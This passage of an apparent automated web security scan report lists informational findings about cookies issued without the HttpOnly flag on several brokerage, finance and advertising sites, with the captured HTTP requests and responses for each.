   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
   <head>
       <titl
...[SNIP]...

10.49. https://account.optionsxpress.com/inc/newaccount/jquery-1.3.2.min.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/inc/newaccount/jquery-1.3.2.min.js

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

TLTHID=0CC03F0C431889309D8520BC90B6D7F4; Path=/; Domain=.optionsxpress.com
TLTSID=0CC03F0C431889309D8520BC90B6D7F4; Path=/; Domain=.optionsxpress.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

10.50. https://account.optionsxpress.com/inc/newaccount/jquery.autotab.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/inc/newaccount/jquery.autotab.js

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

TLTHID=BFE98F2847714286306A699E393BF382; Path=/; Domain=.optionsxpress.com
TLTSID=BFE98F2847714286306A699E393BF382; Path=/; Domain=.optionsxpress.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

10.51. https://account.optionsxpress.com/inc/newaccount/jquery.scrollTo-min.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/inc/newaccount/jquery.scrollTo-min.js

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

TLTHID=CAA6523C4506CCBF77FDA49C4F49A484; Path=/; Domain=.optionsxpress.com
TLTSID=CAA6523C4506CCBF77FDA49C4F49A484; Path=/; Domain=.optionsxpress.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

10.52. https://account.optionsxpress.com/inc/newaccount/styles.css previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/inc/newaccount/styles.css

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

TLTHID=392D4AC8455569B192DA4CA32E2368FD; Path=/; Domain=.optionsxpress.com
TLTSID=392D4AC8455569B192DA4CA32E2368FD; Path=/; Domain=.optionsxpress.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

10.53. https://account.optionsxpress.com/inc/s_code.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/inc/s_code.js

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

TLTHID=6A9CD6494BF18A25AD37E2AC6CC8ACAC; Path=/; Domain=.optionsxpress.com
TLTSID=6A9CD6494BF18A25AD37E2AC6CC8ACAC; Path=/; Domain=.optionsxpress.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

10.54. https://adwords.google.com/um/StartNewLogin previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://adwords.google.com
Path:	/um/StartNewLogin

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

SAG=EXPIRED;Path=/;Expires=Mon, 01-Jan-1990 00:00:00 GMT

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /um/StartNewLogin HTTP/1.1
Host: adwords.google.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

10.55. https://cwt1.interactivebrokers.com/webtrader2/servlet/login previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://cwt1.interactivebrokers.com
Path:	/webtrader2/servlet/login

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

sk=value:ibg-dark; Expires=Thu, 08-Sep-2011 22:26:56 GMT; Secure

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /webtrader2/servlet/login HTTP/1.1
Host: cwt1.interactivebrokers.com
Connection: keep-alive
Referer: http://www.interactivebrokers.com/en/p.php?f=customerService&ib_entity=llc
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ib=googlead; web=1059282; XYZAB_AM.LOGIN=; XYZAB=; URL_PARAM=actiongetProps=getProps&language=en&propFile=SSO_Login_v1

Response

10.56. http://finance.yahoo.com/news/Pacer-Adds-LNG-Trucks-to-bw-1749635685.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://finance.yahoo.com
Path:	/news/Pacer-Adds-LNG-Trucks-to-bw-1749635685.html

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

MwPhCom_degraded_status=false; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /news/Pacer-Adds-LNG-Trucks-to-bw-1749635685.html HTTP/1.1
Host: finance.yahoo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

10.57. http://finance.yahoo.com/news/Piedmont-Natural-Gas-prnews-2212692382.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://finance.yahoo.com
Path:	/news/Piedmont-Natural-Gas-prnews-2212692382.html

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

MwPhCom_degraded_status=false; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /news/Piedmont-Natural-Gas-prnews-2212692382.html HTTP/1.1
Host: finance.yahoo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

10.58. http://finance.yahoo.com/news/Primary-Petroleum-Present-iw-1675004773.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://finance.yahoo.com
Path:	/news/Primary-Petroleum-Present-iw-1675004773.html

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

MwPhCom_degraded_status=false; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /news/Primary-Petroleum-Present-iw-1675004773.html HTTP/1.1
Host: finance.yahoo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

10.59. http://finance.yahoo.com/news/Retail-gasoline-prices-up-apf-2916275523.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://finance.yahoo.com
Path:	/news/Retail-gasoline-prices-up-apf-2916275523.html

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

MwPhCom_degraded_status=false; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /news/Retail-gasoline-prices-up-apf-2916275523.html HTTP/1.1
Host: finance.yahoo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

10.60. http://finance.yahoo.com/news/US-Steel-converts-vehicles-to-apf-2954052497.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://finance.yahoo.com
Path:	/news/US-Steel-converts-vehicles-to-apf-2954052497.html

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

MwPhCom_degraded_status=false; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /news/US-Steel-converts-vehicles-to-apf-2954052497.html HTTP/1.1
Host: finance.yahoo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

10.61. https://icewebinar.webex.com/icewebinar/lsr.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://icewebinar.webex.com
Path:	/icewebinar/lsr.php

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

galaxye_wl=R2995082818; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /icewebinar/lsr.php HTTP/1.1
Host: icewebinar.webex.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

10.62. https://interactivebrokers.webex.com/interactivebrokers/lsr.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://interactivebrokers.webex.com
Path:	/interactivebrokers/lsr.php

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

NSC_kkkbwxm=0afc54500899;path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /interactivebrokers/lsr.php HTTP/1.1
Host: interactivebrokers.webex.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

10.63. https://interactivebrokers.webex.com/interactivebrokers/onstage/g.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://interactivebrokers.webex.com
Path:	/interactivebrokers/onstage/g.php

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

NSC_kkkbwxm=0afc54500899;path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /interactivebrokers/onstage/g.php HTTP/1.1
Host: interactivebrokers.webex.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

10.64. http://pfgbest.app5.hubspot.com/salog.js.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://pfgbest.app5.hubspot.com
Path:	/salog.js.aspx

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

HUBSPOT159=219223212.0.0000; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /salog.js.aspx HTTP/1.1
Host: pfgbest.app5.hubspot.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.pfgbest.com/toolkit/

Response

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Length: 498
Content-Type: text/html; charset=utf-8
Expires: -1
Server: Microsoft-IIS/6.0
P3P: policyref="http://www.hubspot.com/w3c/p3p.xml", CP="CURa ADMa DEVa TAIa PSAa PSDa OUR IND DSP NON COR"
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: .ASPXANONYMOUS=zAFaJjSNzQEkAAAAYzgwZmFjNzAtY2NhNi00Y2Q1LWIxYzktMWRhNDE1NmVlYzM10; expires=Fri, 07-Sep-2012 20:05:38 GMT; path=/; HttpOnly
Set-Cookie: hubspotutk=69bbab87-dff5-41d5-86c5-94506c2c7a5d; domain=pfgbest.app5.hubspot.com; expires=Wed, 08-Sep-2021 05:00:00 GMT; path=/; HttpOnly
Date: Thu, 08 Sep 2011 20:05:38 GMT
Set-Cookie: HUBSPOT159=219223212.0.0000; path=/

var hsUse20Servers = true;
var hsDayEndsIn = 28461;
var hsWeekEndsIn = 287661;
var hsMonthEndsIn = 1929261;
var hsAnalyticsServer = "tracking.hubspot.com";
var hsTimeStamp = "2011-09-08 16:05
...[SNIP]...

10.65. http://rcv-srv20.inplay.tubemogul.com/StreamReceiver/services previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://rcv-srv20.inplay.tubemogul.com
Path:	/StreamReceiver/services

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

_tmpi=MjAxMTA5MDg_MjotNTY3NTYzMzQyMTY5OTg1NzUxNzozMHwxNDotNTY3NTYzMzQyMTY5OTg1NzUxNzozMA; Domain=.tubemogul.com; Expires=Fri, 07-Sep-2012 19:54:09 GMT; Path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

10.66. http://receive.inplay.tubemogul.com/StreamReceiver/demo previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://receive.inplay.tubemogul.com
Path:	/StreamReceiver/demo

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

_tmpd=MjAxMTA5MDg_ODpzZWdtZW50PTAwMCZ6aXA9JmFnZT0mZ2VuZGVyPTozMA; Domain=.tubemogul.com; Expires=Fri, 07-Sep-2012 19:54:09 GMT; Path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

10.67. http://rtd.tubemogul.com/upi/pid/5w3jqr4k previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://rtd.tubemogul.com
Path:	/upi/pid/5w3jqr4k

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

_tmpi=MjAxMTA5MDg_MzpFMTozMHwxNDotNTY3NTYzMzQyMTY5OTg1NzUxNzozMA;Path=/;Domain=.tubemogul.com;Expires=Fri, 07-Sep-12 19:54:09 GMT

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

10.68. http://server.iad.liveperson.net/hc/82583755/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://server.iad.liveperson.net
Path:	/hc/82583755/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

HumanClickSiteContainerID_82583755=STANDALONE; path=/hc/82583755
LivePersonID=-546022977410-1315512341:-1:-1:-1:-1; expires=Fri, 07-Sep-2012 20:05:44 GMT; path=/hc/82583755; domain=.liveperson.net

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

10.69. http://server.iad.liveperson.net/hc/82583755/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://server.iad.liveperson.net
Path:	/hc/82583755/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

HumanClickKEY=2327576918868409253; path=/hc/82583755
HumanClickACTIVE=1315512341831; expires=Fri, 09-Sep-2011 20:05:41 GMT; path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /hc/82583755/?&site=82583755&cmd=mTagKnockPage&lpCallId=553345057259-690305064737&protV=20&lpjson=1&id=3455414662&javaSupport=true&visitorStatus=INSITE_STATUS HTTP/1.1
Host: server.iad.liveperson.net
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.pfgbest.com/toolkit/
Cookie: LivePersonID=LP i=546022977410,d=1312768968

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 20:05:41 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NON BUS INT NAV COM ADM CON CUR IVA IVD OTP PSA PSD TEL SAM"
X-Powered-By: ASP.NET
Set-Cookie: HumanClickKEY=2327576918868409253; path=/hc/82583755
Set-Cookie: HumanClickACTIVE=1315512341831; expires=Fri, 09-Sep-2011 20:05:41 GMT; path=/
Content-Type: application/x-javascript
Accept-Ranges: bytes
Last-Modified: Thu, 08 Sep 2011 20:05:41 GMT
Cache-Control: no-store
Pragma: no-cache
Expires: Wed, 31 Dec 1969 23:59:59 GMT
Content-Length: 1484

lpConnLib.Process({"ResultSet": {"lpCallId":"553345057259-690305064737","lpCallConfirm":"","lpJS_Execute":[{"code_id": "webServerOverride", "js_code": "if (lpMTagConfig.lpServer != 'server.iad.liveper
...[SNIP]...

10.70. http://shared.websol.barchart.com/css/bc_styles.css previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://shared.websol.barchart.com
Path:	/css/bc_styles.css

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

WEBSOL_SERVER=balancer.websol02; path=/; domain=.websol.barchart.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

10.71. http://stats.manticoretechnology.com/Data/578/12867/3756E06F-E585-4584-AC1F-E9FCA21FAC0F/mtcLogData.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://stats.manticoretechnology.com
Path:	/Data/578/12867/3756E06F-E585-4584-AC1F-E9FCA21FAC0F/mtcLogData.asp

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

MTC%5FSP=VlZKOFTn9gVBQtHMNo9BexvhmQQo18aqxSSXp3eM4AeuYXXEV1yHmoQ0oORzo8LYKAsGsIleOHx1%0D%0A%2F7LjBTZw0exsamlnP6uMTqAmJE2fIxGthldxjP6DH1fdwVyYmExtZtoJYDfaGNIAQcKhBNk0O4JS%0D%0A1g%2B3VHxDgdo3dB%2BlnqwxGfveqYcDcQXbSCkQox106BqhfC3haqsZ1WexqJAcSpon1LP9DEiTHbbR%0D%0ADDA8z9Jk7OPoEXiGCBjZh8QMK5My08MDP9BDcYNnYuSyNdTWOUi4UJwIf7bksaXPz9bgDg1KX6t1%0D%0AK4tIYnzBINFPF8zQS8VYWN%2BfSYUamSsK4XkT3P3YhjyEAxBELEv0wppni3ZNUxPgMefqWA%3D%3D; expires=Fri, 07-Sep-2012 19:26:22 GMT; path=/Data/578/12867/3756E06F-E585-4584-AC1F-E9FCA21FAC0F/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /Data/578/12867/3756E06F-E585-4584-AC1F-E9FCA21FAC0F/mtcLogData.asp?ID=12867&Key=3756E06F-E585-4584-AC1F-E9FCA21FAC0F&ra=1315527928157&pn=http%3A//www.zumo.com/%3Fgclid%3DCPHcj5ywjqsCFSwZQgodKTTEtg&rp=http%3A//www.google.com/search%3Fsourceid%3Dchrome%26ie%3DUTF-8%26q%3Dfutures+trading&sr=1920x1200&cd=16&tz=19&ci=1&je=1&cc=&sg=&ip=&pc=&pt=Zumo%20Inc%2C%20Discount%20Broker%2C%20Futures%20Trading%2C%20Commodity%20Broker&af=&jsv=1.7&on=&ii=&ea=&cp=&epci=&vd=L3%3A&o_pce=30&o_pcsl=0&ml=undefined HTTP/1.1
Host: stats.manticoretechnology.com
Proxy-Connection: keep-alive
Referer: http://www.zumo.com/?gclid=CPHcj5ywjqsCFSwZQgodKTTEtg
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:26:23 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" policyref="/w3c/p3p.xml"
X-Powered-By: ASP.NET
Content-Length: 48
Content-Type: image/gif
Expires: Thu, 01 Sep 2011 20:46:23 GMT
Set-Cookie: MTC%5FFORCEDNS=; expires=Wed, 07-Sep-2011 19:26:22 GMT; path=/
Set-Cookie: MTC%5FLFCT=; expires=Wed, 07-Sep-2011 19:26:22 GMT; path=/
Set-Cookie: MTC%5FSP=VlZKOFTn9gVBQtHMNo9BexvhmQQo18aqxSSXp3eM4AeuYXXEV1yHmoQ0oORzo8LYKAsGsIleOHx1%0D%0A%2F7LjBTZw0exsamlnP6uMTqAmJE2fIxGthldxjP6DH1fdwVyYmExtZtoJYDfaGNIAQcKhBNk0O4JS%0D%0A1g%2B3VHxDgdo3dB%2BlnqwxGfveqYcDcQXbSCkQox106BqhfC3haqsZ1WexqJAcSpon1LP9DEiTHbbR%0D%0ADDA8z9Jk7OPoEXiGCBjZh8QMK5My08MDP9BDcYNnYuSyNdTWOUi4UJwIf7bksaXPz9bgDg1KX6t1%0D%0AK4tIYnzBINFPF8zQS8VYWN%2BfSYUamSsK4XkT3P3YhjyEAxBELEv0wppni3ZNUxPgMefqWA%3D%3D; expires=Fri, 07-Sep-2012 19:26:22 GMT; path=/Data/578/12867/3756E06F-E585-4584-AC1F-E9FCA21FAC0F/
Cache-control: Private

GIF89a........)../...../.!.......,...........L.;

10.72. http://www.cqgtrader.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.cqgtrader.com
Path:	/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

ClientState=LocalAccounts=False&LoggedOn=False&EP=cqg&PrvLbl=cqg&TraderID=&StyleSheet=%2FLanguages%2FUSEng%2FPrvLbl%2Fcqg%2Fstylesheet%2Ecss&IsLoggedOn=False&SQLSID=&attempt=0&Language=USEng; path=/
PrivateLabel=WebSite=CQG+Web+Trader&CustPhone=720%2D904%2D2980; path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET / HTTP/1.1
Host: www.cqgtrader.com
Proxy-Connection: keep-alive
Referer: http://www.efutures.com/services/index.php
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 302 Object moved
Date: Thu, 08 Sep 2011 19:38:19 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NON DSP CURa ADMa DEVa OUR IND CNT PRE"
X-UA-Compatible: IE=EmulateIE7
X-Powered-By: ASP.NET
Location: /Languages/USEng/main.asp
Content-Length: 146
Content-Type: text/html
Expires: Thu, 08 Sep 2011 19:37:19 GMT
Set-Cookie: ClientState=LocalAccounts=False&LoggedOn=False&EP=cqg&PrvLbl=cqg&TraderID=&StyleSheet=%2FLanguages%2FUSEng%2FPrvLbl%2Fcqg%2Fstylesheet%2Ecss&IsLoggedOn=False&SQLSID=&attempt=0&Language=USEng; path=/
Set-Cookie: PrivateLabel=WebSite=CQG+Web+Trader&CustPhone=720%2D904%2D2980; path=/
Cache-control: private

<head><title>Object moved</title></head>
<body><h1>Object Moved</h1>This object may be found <a HREF="/Languages/USEng/main.asp">here</a>.</body>

10.73. http://www.cqgtrader.com/Languages/USEng/main.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.cqgtrader.com
Path:	/Languages/USEng/main.asp

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

ClientState=OSDeletionOccured=0&LocalAccounts=False&Disconnected=False&OSLastUpdate=0&LoggedOn=False&attempt=0&Language=USEng&EP=cqg&StyleSheet=%2FLanguages%2FUSEng%2FPrvLbl%2Fcqg%2Fstylesheet%2Ecss&SQLSID=&IsLoggedOn=False&PrvLbl=cqg&TraderID=; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /Languages/USEng/main.asp HTTP/1.1
Host: www.cqgtrader.com
Proxy-Connection: keep-alive
Referer: http://www.efutures.com/services/index.php
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PrivateLabel=WebSite=CQG+Web+Trader&CustPhone=720%2D904%2D2980; ClientState=LocalAccounts=False&LoggedOn=False&attempt=0&Language=USEng&EP=cqg&StyleSheet=%2FLanguages%2FUSEng%2FPrvLbl%2Fcqg%2Fstylesheet%2Ecss&SQLSID=&IsLoggedOn=False&PrvLbl=cqg&TraderID=

Response

HTTP/1.1 302 Object moved
Date: Thu, 08 Sep 2011 19:38:20 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NON DSP CURa ADMa DEVa OUR IND CNT PRE"
X-UA-Compatible: IE=EmulateIE7
X-Powered-By: ASP.NET
Location: https://www.cqgtrader.com/Languages/USEng/main.asp
Content-Length: 171
Content-Type: text/html
Expires: Thu, 08 Sep 2011 19:37:20 GMT
Set-Cookie: ClientState=OSDeletionOccured=0&LocalAccounts=False&Disconnected=False&OSLastUpdate=0&LoggedOn=False&attempt=0&Language=USEng&EP=cqg&StyleSheet=%2FLanguages%2FUSEng%2FPrvLbl%2Fcqg%2Fstylesheet%2Ecss&SQLSID=&IsLoggedOn=False&PrvLbl=cqg&TraderID=; path=/
Cache-control: private, no-cache

<head><title>Object moved</title></head>
<body><h1>Object Moved</h1>This object may be found <a HREF="https://www.cqgtrader.com/Languages/USEng/main.asp">here</a>.</body>

10.74. https://www.cqgtrader.com/Languages/USEng/main.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.cqgtrader.com
Path:	/Languages/USEng/main.asp

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

ClientState=TraderID=&PrvLbl=cqg&IsLoggedOn=False&SQLSID=&StyleSheet=%2FLanguages%2FUSEng%2FPrvLbl%2Fcqg%2Fstylesheet%2Ecss&EP=cqg&Language=USEng&attempt=0&Disconnected=False&OSLastUpdate=0&LoggedOn=False&OSDeletionOccured=0&LocalAccounts=False; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

10.75. http://www.facebook.com/dialog/feed previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/dialog/feed

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

locale=en_US; expires=Thu, 15-Sep-2011 19:46:43 GMT; path=/; domain=.facebook.com
reg_fb_ref=http%3A%2F%2Fwww.facebook.com%2Fdialog%2Ffeed; path=/; domain=.facebook.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /dialog/feed HTTP/1.1
Host: www.facebook.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

10.76. http://www.globalfutures.com/index.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.globalfutures.com
Path:	/index.asp

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

returningRefID=googleaef; expires=Wed, 04-Jun-2014 07:00:00 GMT; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /index.asp?refid=googleaef HTTP/1.1
Host: www.globalfutures.com
Proxy-Connection: keep-alive
Referer: http://www.google.com/search?sourceid=chrome&ie=UTF-8&q=futures+trading
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

10.77. http://www.googleadservices.com/pagead/aclk previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.googleadservices.com
Path:	/pagead/aclk

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

Conversion=CoQBQ0ZWN1JiaFpwVHQyQUxNYXppQUxUdWZ6R0NyR0Zqb01Db2N1WHZCemo1SlFHQ0FBUUFpZ0RVUHU1NDcwQllNbWVfb2JJb193YW9BR2Y2NnY5QThnQkFhb0VIMF9RZ2trVmVGNXcxMHVKZUgzNWgwYkE4eHZGSlFsTlV0TjNoY2N4dTNzEhMItIqrl7COqwIVZxtCCh3SXAq8GAEgjunghvK1h7oiSAE; expires=Sat, 08-Oct-2011 19:24:36 GMT; path=/pagead/conversion/1068168607/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /pagead/aclk?sa=L&ai=CFV7RbhZpTt2ALMaziALTufzGCrGFjoMCocuXvBzj5JQGCAAQAigDUPu5470BYMme_obIo_waoAGf66v9A8gBAaoEH0_QgkkVeF5w10uJeH35h0bA8xvFJQlNUtN3hccxu3s&ved=0CA0Q0Qw&val=ChAyNmVhN2ZlZjBhNmNmNDNiELDC9fIEGgjTrQC3iWMPTCABKAAw88uL57LFh-j1ATjy4fjyBED-8KPzBA&sig=AOD64_2RXU4H9jDLFvdYXMkLjdN5w9AJ9g&adurl=http://pixel.everesttech.net/2164/cq%3Fev_sid%3D3%26ev_ln%3Dfutures%2520options%26ev_crx%3D7551788913%26ev_mt%3Db%26ev_n%3Dg%26ev_ltx%3D%26ev_pl%3D%26url%3Dhttp%253A//www.optionsxpress.com/promos/experience_an_options_specialist.aspx%253Fintcmp%253Dlp_sales_futures%2526cmpid%253Dgsus23305007 HTTP/1.1
Host: www.googleadservices.com
